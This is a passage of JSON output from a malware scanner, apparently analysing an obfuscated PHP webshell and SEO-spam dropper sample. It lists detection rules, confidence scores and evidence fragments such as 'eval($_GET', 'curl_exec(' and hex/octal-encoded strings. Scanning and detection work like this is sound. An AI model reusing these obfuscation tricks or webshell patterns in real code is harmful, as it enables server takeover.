"$_GET[\"\\x70\\x61\\x74\\x68\"]", "$_GET[\"\\x70\\x61\\164\\150\"]", "$_GET[\"\\165\\x72\\154\"]", "$_GET[\"\\160\\x61\\164\\x68\"]", "$_GET[\"\\x75\\x72\\x6c\"]", "$_GET[\"\\160\\x61\\164\\150\"]" ], "i": "objectives/command-and-control/backdoor/webshell/ui::ajax-handler", "l": 4, "m": "B0030" }, { "a": "T1584", "c": 0.8999999761581421, "d": "Obfuscated PHP SEO spam injector", "e": [ "AcHytcrR5619", "dhkEweRb264", "curl_exec(", "R", "WFhwKcfQ3158", "ZHQrORxq3311", "Z", "Y", "B" ], "i": "objectives/command-and-control/dropper/delivery/seo-spam::php-seo-spam-obfuscated", "l": 5 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Single appended long line in source", "e": [ "text.last_line_length = 6051.00", "text.total_lines = 86.00", "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::appended-long-line", "l": 2, "m": "B0032" }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Decoded unicode-escape content", "e": [ "goto gCB4g; nmQZs: if (!file_exists(real \u003cunicode-escape\u003e" ], "i": "metadata/encoded-payload/unicode-escape", "l": 2 }, { "c": 0.8999999761581421, "d": "Generic PHP webshell which uses any eval/exec function in the same line with user input", "e": [ "eval($_GET" ], "i": "third_party/SigBase/WEBSHELL/PHP/Generic/Eval", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell obfuscated", "e": [ "\u003c?", "\u003c?php", "goto", "\\x3" ], "i": "third_party/SigBase/WEBSHELL/PHP/OBFUSC", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell obfuscated by encoding of mixed hex and dec", "e": [ "\"\\x33\\x2e\\160\\x68\\", "\"\\x34\\x2e\\160\\x68\\", "\"\\167\\x67\\x65\\164\\x20\\x2d\\", "\u003c?php", "\"\\x32\\x2e\\160\\x68\\", "\u003c?", "\"\\x34\\56\\160\\x68\\", "\"\\64\\56\\x70\\x68\\x70\\40\\150\\x74\\x74\\x70\\x73\\", "\"\\64\\56\\160\\x68\\x70\\x20\\x68\\" ], "i": "third_party/SigBase/WEBSHELL/PHP/OBFUSC/Encoded/Mixed/Dec/And/Hex", "l": 5 } ], "sha": "198876107a43baa606bf647e193ca571b39be27a569c520c89c8e7a979144cc3", "path": "/data/samples/bad/datasets/awesome-malware/PHP/cjwpnk.php.suspected", "type": "php" } ], "tv": "0d82f" } }